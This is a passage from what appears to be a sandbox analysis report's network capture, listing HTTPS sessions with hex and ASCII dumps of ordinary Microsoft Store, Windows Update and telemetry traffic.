2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 
6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 31 31 36 33 30 38 38 38 39 36 2c 5c 
22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 30 39 37 30 34 37 38 35 39 32 2
c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 35 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 
22 3a 37 2c 5c 22 70 6b 67 73 5c 22 3a 5b 7b 5c 22 70 66 75 6e 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 
50 68 6f 6e 65 5f 31 2e 32 32 30 32 32 2e 31 38 30 2e 30 5f 78 36 
Data Ascii: 32c73-e730-4680-bc44-a5908fecbf8b\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":28
14751163088896,\"platform.minVersion\":2814750970478592,\"platform.target\":5}],\"content.type\":7,\"pkgs\":[{\"pfun\":\
"Microsoft.YourPhone_1.22022.180.0_x6

2022-05-13 14:43:00 UTC 10809 IN Data Raw: 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 
7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 
5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 
79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 2
2 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 
22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 
74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 
Data Ascii: \":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"syste
mId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":
{"ProductId":"9N

2022-05-13 14:43:00 UTC 10813 IN Data Raw: 30 30 30 30 5a 22 2c 22 52 65 73 6f 75 72 63 65 53 65 74 49 64 73 22 3a 5b 22 31 22 5d 2c 22 53 74 61 72 74 
44 61 74 65 22 3a 22 31 37 35 33 2d 30 31 2d 30 31 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 30 30 30 5a 22 7d 2c 22 
4c 61 73 74 4d 6f 64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 34 2d 32 32 54 30 32 3a 32 39 3a 32 30 2e 
35 33 39 39 35 32 39 5a 22 2c 22 4d 61 72 6b 65 74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 64 65 72 4d 61 6e 61 67 65 
6d 65 6e 74 44 61 74 61 22 3a 7b 22 47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 
22 50 72 69 63 65 22 3a 7b 22 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 49 73 50 49 52 65 71 75 
69 72 65 64 22 3a 66 61 6c 73 65 2c 22 4c 69 73 74 50 72 69 63 65 22 3a 
Data Ascii: 0000Z","ResourceSetIds":["1"],"StartDate":"1753-01-01T00:00:00.0000000Z"},"LastModifiedDate":"2022-04-
22T02:29:20.5399529Z","Markets":["US"],"OrderManagementData":{"GrantedEntitlementKeys":[],"Price":{"Curren
cyCode":"USD","IsPIRequired":false,"ListPrice":

2022-05-13 14:43:00 UTC 10814 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

126 192.168.2.3 49953 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:00 UTC 10764 OUT GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&c
id=128000000001392709&tid=700342084&reqasid=8ce9b9da1ac94116b168bdc7e1c8c748&region=US&lang=EN-US&oe
m=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid
=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&as
id=7bec372b597946cbad28f765598f20a1&time=20220513T234226Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:43:00 UTC 10814 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: a7df2127-b267-43a9-ac56-ea180352ae42
Date: Fri, 13 May 2022 14:43:00 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

127 192.168.2.3 49954 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:01 UTC 10814 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=8ce9b9da1ac94116b168bdc7e1c8c748&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=7bec372b597946cbad28f765598f20a1&time=20220513T234227Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:43:01 UTC 10815 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: ffcae1a9-2f6e-467e-8381-8d9146ee1273
Date: Fri, 13 May 2022 14:43:00 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

128 192.168.2.3 49955 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:01 UTC 10815 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=8ce9b9da1ac94116b168bdc7e1c8c748&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=7bec372b597946cbad28f765598f20a1&time=20220513T234227Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:43:01 UTC 10815 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 08c6329e-19d6-425f-9837-57fb6da8b490
Date: Fri, 13 May 2022 14:43:01 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

129 192.168.2.3 49957 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:01 UTC 10816 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=8ce9b9da1ac94116b168bdc7e1c8c748&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=7bec372b597946cbad28f765598f20a1&time=20220513T234228Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:43:02 UTC 10817 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 81e75eef-c04b-42c1-b5d3-3c4024d96277
Date: Fri, 13 May 2022 14:43:01 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

13 192.168.2.3 49715 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:39:58 UTC 147 OUT GET /image/apps.58298.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.55988ee1-bd9b-4322-980a-
a610abdc7713?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:39:58 UTC 151 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 29489
Content-Type: image/png
Last-Modified: Thu, 24 May 2018 00:36:03 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDVDMTBFNTRBMjBFNDk"
MS-CV: ueR7a/BKZkGigRoU.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:39:58 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:39:58 UTC 151 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 6c 00 00 02 6c 08 06 00 00 00 40 95 ff 25 00 00 00 
01 73 52 47 42 00 ae ce 1c e9 00 00 40 00 49 44 41 54 78 01 ec 9d 07 9c 5c 57 79 b7 df dd d9 de bb 56 ab de 65 59 b6 
e5 de 30 d5 40 28 09 21 04 48 20 21 84 1e 92 ef 0b e4 a3 25 21 84 00 01 52 80 10 48 42 8b 83 29 36 25 c6 dd c6 36 ee 
55 b2 65 4b 96 ad 5e 56 d2 f6 be b3 3b bd 7d e7 8c 91 51 d9 9d bd 77 e6 de 99 5b 9e e3 df 78 67 ee 3d e5 7d 9f f7 6a f6 
bf a7 96 05 ba 2f cd 08 09 02 10 80 00 04 20 00 01 08 40 c0 b1 04 ca 1d 6b 19 86 41 00 02 10 80 00 04 20 00 01 08 64 0
9 20 d8 78 10 20 00 01 08 40 00 02 10 80 80 c3 09 20 d8 1c 1e 20 cc 83 00 04 20 00 01 08 40 00 02 08 36 9e 01 08 40 
00 02 10 80 00 04 20 e0 70 02 08 36 87 07 08 f3 20 00 01 08 40 00 02 
Data Ascii: PNGIHDRll@%sRGB@IDATx\WyVeY0@(!H !%!RHB)6%6UeK^V;}Qw[xg=}j/ @kA d x @   @6@ p6 @

2022-05-13 14:39:58 UTC 167 IN Data Raw: 6c a6 02 f7 f0 ec 39 a6 f2 e7 ca 7c b1 c1 79 6c ba 8e ba 25 2b 73 55 75 ca bd a0 3a 18 3e 3a c6 0a e0 53 a0 
f0 01 02 1e 21 10 3e f2 9c 64 12 31 8f 78 83 1b 66 09 20 d8 cc 12 f3 50 7e 96 86 9b 0b a6 5e 29 3a 9d aa 37 57 68 9e dc 
6d 15 41 39 a7 c6 d8 f6 1e f5 4b 57 cd 53 cb dc 97 c7 9e 7e 54 f4 42 04 12 04 20 e0 2d 02 7c 67 7b 2b 9e 66 bd 41 b0 99 
25 e6 a1 fc fa 10 f8 e8 e0 61 0f 79 64 af 2b 7a 2f b6 47 42 9b 2d 6b e4 65 0d c6 f6 4f d3 c3 a2 15 75 0d 86 db 4d cc 4c cb 
d4 1e 16 95 18 06 46 46 08 b8 84 00 0b 0e 5c 12 28 9b cc 44 b0 d9 04 d6 2d d5 32 81 d5 5c a4 ee 9d 3d df 5c 81 1c b9 5f 
d6 60 7c 2f a5 7a 13 c3 a2 ba c9 a9 fd bb 24 3e 3d 99 a3 75 6e 41 00 02 6e 22 90 89 c7 24 7c 74 b7 9b 4c c6 56 8b 09 20 
d8 2c 06 ea b6 ea 58 78 60 2e 62 8f 84 ce 91 91 64 8b 
Data Ascii: l9|yl%+sUu:>:S!>d1xf P~^):7WhmA9KWS~TB -|g{+fA%ayd+z/GB-keOuMLFF\(D-2\=\_`|/z$>=unAn"$|tLV 
,Xx`.bd

2022-05-13 14:39:58 UTC 175 IN Data Raw: 3e 17 78 f4 de 1f fb d4 7b dc 86 c0 0b 04 10 6c 3c 09 be 27 10 39 b6 47 1d 61 f5 77 92 49 25 7d cf 02 00 10 70 
1a 81 e9 1d f7 c9 c0 8d 5f 77 9a 59 d8 03 81 a2 13 40 b0 15 1d 39 0d 3a 91 80 de 58 97 d3 10 9c 18 19 6c f2 33 81 e0 ae 
47 e4 f8 8f d8 18 d7 cf cf 00 be ff 86 00 82 ed 37 2c 78 e7 73 02 c1 e7 1e 55 bf 1c 3e a7 76 4d 4f fb 9c 04 ee 43 a0 f4 04 
66 76 3f 21 c7 7f f0 f7 1c 29 57 fa 50 60 81 43 08 20 d8 1c 12 08 cc 70 06 81 e9 1d 0f c8 f1 eb be c4 51 37 ce 08 07 56 f8 
94 80 5e 09 ca 34 05 9f 06 1f b7 e7 25 80 60 9b 17 0d 37 fc 4a 40 af 44 eb ff d9 bf f8 d5 7d fc 86 40 49 09 84 0e ee 90 a3 
1c 39 55 d2 18 d0 b8 33 09 20 d8 9c 19 17 ac 2a 31 81 c9 ad b7 cb c0 2f fe ad c4 56 d0 3c 04 fc 45 20 dc fb bc 1c 65 d5 
b6 bf 82 8e b7 86 09 20 d8 0c a3 22 a3 df 08 
Data Ascii: >x{l<'9GawI%}p_wY@9:Xl3G7,xsU>vMOCfv?!)WP`C pQ7V^4%`7J@D}@I9U3 *1/V<E e "

Session ID Source IP Source Port Destination IP
Destination
Port

Process

130 192.168.2.3 49956 40.125.122.176 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:43:01 UTC 10816 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=52mu3Ytu1dbNXNh&MD=xY6EXTMt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-13 14:43:02 UTC 10817 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 1ff4f3d1-37b8-400d-a56c-78067c9c51c4
MS-RequestId: 09693ac3-bd62-4b6d-ad30-b309bdb35c8c
MS-CV: hzl2BHNP2kygMxrP.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 13 May 2022 14:43:01 GMT
Connection: close
Content-Length: 35877

2022-05-13 14:43:02 UTC 10818 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-13 14:43:02 UTC 10833 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-13 14:43:02 UTC 10849 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

131 192.168.2.3 49958 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:02 UTC 10817 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=8ce9b9da1ac94116b168bdc7e1c8c748&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=7bec372b597946cbad28f765598f20a1&time=20220513T234229Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:43:02 UTC 10817 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 30fb7389-6a76-4b3b-831d-2c028b500a31
Date: Fri, 13 May 2022 14:43:01 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

132 192.168.2.3 49959 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:02 UTC 10853 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=8ce9b9da1ac94116b168bdc7e1c8c748&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=7bec372b597946cbad28f765598f20a1&time=20220513T234230Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:43:02 UTC 10854 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 8a912b63-e2e4-4a82-bd44-f57391c6b5ee
Date: Fri, 13 May 2022 14:43:01 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

133 192.168.2.3 49961 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:02 UTC 10854 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=8ce9b9da1ac94116b168bdc7e1c8c748&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=7bec372b597946cbad28f765598f20a1&time=20220513T234232Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:43:02 UTC 10855 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 61f0c329-76f5-4d03-9c56-8f036bbc441a
Date: Fri, 13 May 2022 14:43:02 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

134 192.168.2.3 49960 52.242.101.226 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:02 UTC 10854 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=52mu3Ytu1dbNXNh&MD=xY6EXTMt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-13 14:43:02 UTC 10855 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 414a5f62-4295-4b1f-b09c-3e9035281147
MS-RequestId: a6c40f96-4199-4181-ba98-7e4bdf995d9c
MS-CV: iMI4vctU60WsBDcx.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 13 May 2022 14:43:02 GMT
Connection: close
Content-Length: 35877

2022-05-13 14:43:02 UTC 10856 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
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2022-05-13 14:43:02 UTC 10871 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-13 14:43:02 UTC 10887 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
